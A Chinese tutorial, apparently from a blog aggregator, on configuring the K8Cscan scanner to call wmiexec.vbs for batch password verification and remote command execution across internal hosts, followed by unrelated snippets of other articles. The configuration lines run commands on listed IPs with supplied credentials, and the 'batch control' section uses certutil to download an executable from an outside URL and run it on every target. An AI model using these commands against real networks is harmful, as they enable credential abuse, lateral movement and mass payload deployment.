[教程]K8Cscan调用Wmiexec.vbs验证密码以及批量上控

0x000 调用原理

Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件

编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)

由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL

所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实

EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用

配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了

配置文件使用非常简单,只需配置两个参数,一是程序,二是参数

exe即程序名(系统程序可省路径,非系统程序需完整路径)

arg即参数,比方说执行net user命令,程序是net.exe参数是user

在win系统里本质上执行的是c:/windows/system32/net.exe user

VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe  exp.vbs

PY脚本:  执行"python exp.py",本质上执行的是PY安装路径/python.exe  exp.py

以上不需要全路径的原因是设置了环境变量,系统自动识别了

那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”

好比你点外卖,你不填写地址,让骑手去哪给你送货?

给程序一个眼神它是不会自己去体会的,连人都做不到。

下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)

wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami

0x001 配置Cscan.ini

新建Cscan.ini文件,内容如下

[Cscan]exe=cscript.exearg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"

ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)

0x002 设置扫描范围

新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)

192.168.1.8
10.1.10.5

0x003 批量验证或执行命令
运行Cscan > pwd.txt    (Cscan主程序要选用系统对应.net版本)

如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)

0x004 批量上控

有人肯定要说,我不想给所有机器上控怎么办?

特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt

新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)

ip.txt内容如下(仅扫描以下4个IP)

192.168.1.8
192.168.1.100
10.1.11.5
172.3.4.6

Cscan.ini内容

[Cscan]exe=cscript.exearg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"

PS:certutil仅是其中一种方法,几年前就有人整理至少17种下载方法,就不一一列举了

(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)

现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看

好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三

按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控

但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂

由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间

为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程

0x005 下载

https://github.com/k8gege/K8CScan

https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

原文地址:https://www.cnblogs.com/k8gege/p/11161242.html

时间: 2024-10-11 22:42:09

[教程]K8Cscan调用Wmiexec.vbs验证密码以及批量上控的相关文章

C#静态调用带有SoapHeader验证的WebServices

转自:http://blog.csdn.net/u012995964/article/details/54562111 本文记录带有SoapHeader验证的WebServices服务创建.部署及C#中的静态调用方法,基于 Windows8.1.Visual Studio 2013.IIS8 环境实现. WebServices服务创建 Visual Studio 2013中创建WebServices 创建一个空的 ASP.NET Web 应用程序 : 创建 WebService 服务的程序(as

支持APP手机应用(android和ios)接口调用 ,传输验证可用 shiro 的 MD5、SHA 等加密

请认准本正版代码,售后技术有保障,代码有持续更新.(盗版可耻,违者必究)         此为本公司团队开发 ------------------------------------------------------------------------------------------------------------------------- 1. 有 oracle .msyql.spring3.0.spring4.0  一共 4 套版本全部提供没有打jar没有加密的源代码(最下面截图2

用数组实现从文件搜索帐户和验证密码

最近一个同学在写个银行管理系统,然后问我怎么从文件搜索帐户,给了方法后又不懂文件里面的密码怎么与输入的匹配.一般来说,高效的做法是用链表实现.用数组实现不是高效的方法,而且浪费空间.再者,对于账户类有个人信息集合的,一般用结构体,代码写起来也方便简单. 但是他却用数组来做,而且没有用结构体.对于这种情况下如何搜索帐户,如何验证密码呢? 我尝试了一下,发现不难解决. 解决这个问题的方法:用文件数据的排序定位来做. 第一步:文件信息读入 用fscanf 实现文件读出文件信息. 1 char a[20

Laravel教程 七:表单验证 Validation

Laravel教程 七:表单验证 Validation 此文章为原创文章,未经同意,禁止转载. Laravel Form 终于要更新这个Laravel系列教程的第七篇了,期间去写了一点其他的东西. 就不 说废话了吧,直接进入Form Validation的部分吧.几乎在每一个web应用当中都会有表单,而有表单基本就离不开表单验证.在laravel中,其实可以说是有两种方式来进行表单验证:使用Request和使用Validation.下面将分开讲这两部分的内容,而且我会更着重第一种,也更推荐大家使

正则表达式验证密码强度

private int CheckSecurity(string pwd) { return Regex.Replace(pwd, "^(?:([a-zA-Z])|([0-9])|(.)){9,}|(.)+$", "$1$2$3$4").Length; } 在网上看过很多种验证密码强度的方法,但无一不长篇大论. 今天无意发现一种很牛X的方法,利用正则,且只有一句话就搞定了. 大概介绍一下: 密码字符包括:小写字母.大写字母.数字.符号等: 这个正则会得到五个捕获组,

倒计时、点击移动变色与注册时,JS验证密码是否正确

<input id="b1" type="button" value="同意(10)" disabled="disabled" /> <script type="text/javascript"> var t = 10; var aa = window.setInterval('a()', 1000); function a() { var b = document.getEleme

验证密码不允许有连续三位重复的正则表达式

var re = /(\w)*(\w)\2{2}(\w)*/g; js中验证密码不允许有连续三位重复的正则表达式 这个正则的意思就是任意的字母或数字或下划线(捕获为组1)0次到多次跟着一个任意的字母或数字或下划线(捕获为组2)紧跟着“\2{2}”是指反向捕获 组2(就是这里的内容要和组2一样的并且出现2次,所以就等于三个重复的)后面跟着一个任意的字母或数字或下划线0次到多次 <!doctype html> <html lang="en"> <head>

防止sql注入方法 如何防止java中将MySQL的数据库验证密码加上 &#39; or &#39;1&#39;= &#39;1 就可以出现万能密码 的PreparedStatement

package com.swift; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class LoginJDBC$PreparedStatement { public static void main(String[] args

忘了SQL server 身份验证密码

工具 :SQLServer2012 情况:忘记SQLServer身份验证密码 解决方法 :用windows身份验证登陆:展开数据库,选择安全性,点击sa属性,设置密码.